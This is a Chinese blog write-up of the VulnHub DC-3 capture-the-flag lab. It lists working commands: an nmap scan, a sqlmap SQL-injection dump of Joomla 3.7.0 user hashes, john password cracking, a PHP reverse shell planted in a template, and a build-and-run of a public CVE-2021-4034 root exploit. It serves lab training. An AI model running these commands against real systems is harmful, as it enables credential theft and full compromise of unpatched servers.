Vulnhub:DC-3靶机

发布时间 2023-04-03 20:25:57作者: ctostm

kali:192.168.111.111

靶机:192.168.111.250

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.250

image

通过nmap得知目标CMS为Joomla 3.7.0

image

漏洞利用

搜索发现该版本存在sql注入

image

image

利用sqlmap获取目标后台用户密码

sqlmap -u "http://192.168.111.250/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --batch -p list[fullordering] -D 'joomladb' -T '#__users' -C 'username,password' --dump

image

得到的密文用john爆破得到密码:snoopy

john hash --wordlist=/usr/share/wordlists/rockyou.txt

image

登录后台写入php反弹shell

image

image

image

image

image

之后访问http://192.168.111.250/templates/beez3/shell.php,获得反弹shell

image

提权

上传linpeas.sh进行信息收集:https://github.com/carlospolop/PEASS-ng/,发现可以内核提权

image

image

CVE-2021-4034提权:https://codeload.github.com/berdav/CVE-2021-4034/zip/main

unzip CVE-2021-4034-main.zip
cd CVE-2021-4034-main
make
./cve-2021-4034

image

flag

image